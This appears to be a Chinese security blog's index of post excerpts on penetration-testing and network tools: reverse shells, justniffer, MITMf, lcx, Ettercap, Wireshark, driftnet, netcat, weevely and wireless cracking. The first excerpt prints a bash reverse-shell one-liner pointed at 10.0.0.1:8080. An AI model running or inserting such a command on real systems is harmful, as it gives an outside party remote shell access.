0x00 经典姿势 下面这个在Linux下反弹shell的经典姿势相信大家一定不会陌生： bash -i >& /dev/tcp/10.0.0.1/8080 0>&1 但是，这样是有一个小问题的，就是当你在target主机上运行上面这句shell脚本时，它是一直在等待挂着的，如果退出的话，反弹出来的shell也会跟着断掉，这就不好玩了。 0x01 关于进程 进程组 (process ...

在上一篇blog《justniffer使用指南》中讲了justniffer的基本使用，本篇blog将分享一下justniffer在生产环境中的具体使用。下面就实际环境中的使用举一些例子加以说明。 0x01 输出日志格式 首先要讲到的就是justniffer的日志输出日志格式，因为这个功能太实用而且强大了。 使用参数：-l or --log-format= 基本示 ...

前言 本篇文章基本翻译自justniffer官方文档，因为笔者觉得自己能力有限，自己写这份指南将有损justniffer的强（bi）猛（ge）。同时，这也是NSM兵器谱中常用之一，笔者将会在随后一系列文章中分享这些利器的运筹之道，各位稍安勿躁。 0x00 justniffer介绍 justniffer是一款全面的网络协议分析利器，它可以捕获网络传输 ...

0x01 前言 其实这篇博客并不是什么新鲜货，之前在Freebuf有文章介绍：《内网劫持渗透新姿势：MITMf简要指南》。但是这几天在GitHub上看到这个工具的作者已经更新到V0.9.7了，而且添加的一些新的姿势，感觉好像玩起来挺爽是样子，于是这篇文章就诞生了。 0x02 MITMf介绍 首先是MITM，这里就不再介绍了，可以看看我之前写 ...

lcx是一款强大的内网端口转发工具，用于将内网主机开放的内部端口映射到外网主机（有公网IP）任意端口。它是一款命令行工具，当然也可以在有权限的webshell下执行，正因如此lcx常被认为是一款黑客入侵工具，lcx在内网入侵渗透中起着重要的角色。lcx进行端口转发的原理就是使不同端口之间形成一个回路（如图1）。它常用 ...

中间人攻击： 中间人攻击（Man-in-the-MiddleAttack，简称“MITM攻击”）是一种“间接”的入侵攻击，这种攻击模式是通过各种技术手段将受入侵者控制的一台计算机虚拟放置在网络连接中的两台通信计算机之间，这台计算机就称为“中间人”。 Ettercap简介： Ettercap is a comprehensive suite for man in the middle attacks. I ...

Wireshark简介： Wireshark是一款最流行和强大的开源数据包抓包与分析工具，没有之一。在SecTools安全社区里颇受欢迎，曾一度超越Metasploit、Nessus、Aircrack-ng等强悍工具。该软件在网络安全与取证分析中起到了很大作用，作为一款网络数据嗅探与协议分析器，已经成为网络运行管理、网络故障诊断、网络应用开发与调试 ...

过滤器： 过滤器算是高级的设置了，它可以按照设置的要求来捕获数据包，功能十分强大好用。Wireshark提供了两种数据包的过滤规则： 捕获过滤：在数据包捕获时，按指定要求捕获相关数据包。 显示捕获：Wireshark会捕获所有是数据包流量，可以按照设置条件来显示相关的数据包。 （1）捕获过滤 当处理的数据包较大或者需要 ...

driftnet是一款简单而使用的图片捕获工具，可以很方便的在网络数据包中抓取图片。该工具可以实时和离线捕获指定数据包中是图片，当然在kali里是有的。 在我之前的一篇博文《kali下搭建WiFi钓鱼热点》中用到了一下，现在做一个简单的小结，算是备忘靶。 语法： driftnet [options] [filter code] 主要参数： -b 捕获到新 ...

简介: NC(全名NetCat)，在网络界有"瑞士军刀"的美誉。它小巧而强悍，被设计成一个稳定的后门工具，能够直接由其它程序和脚本轻松驱动。同时，它也是一个功能强大的网络调试和探测工具，能够建立你需要的几乎所有类型的网络连接。 使用格式: nc [options...] hostname port nc -l -p port [-s addr] [options...] [hostn ...

-前言 weevely是一款使用python编写的webshell工具，集webshell生成和连接于一身，采用c/s模式构建，可以算作是linux下的一款php菜刀替代工具，具有很好的隐蔽性（生成随机参数且base64加密），在linux上使用时还是很给力的（集服务器错误配置审计，后门放置，暴力破解，文件管理，资源搜索，网络代理，命令执行，数据 ...

有一段时间没有写博客了。只能说苦逼学生党伤不起啊，还好没挂～废话不说了，近期将会讲讲无线PJ那点事，也不是啥干货，就一些先前的笔记分享把。 0.无线网卡 想要提高破解效率，一块猛一点的USB无线网卡是前提的，那是必须的，居家旅行必备嘛。额的就是主流8187的，外加9D全向天线，很给力！当然，额还有一块迷你的TL- ...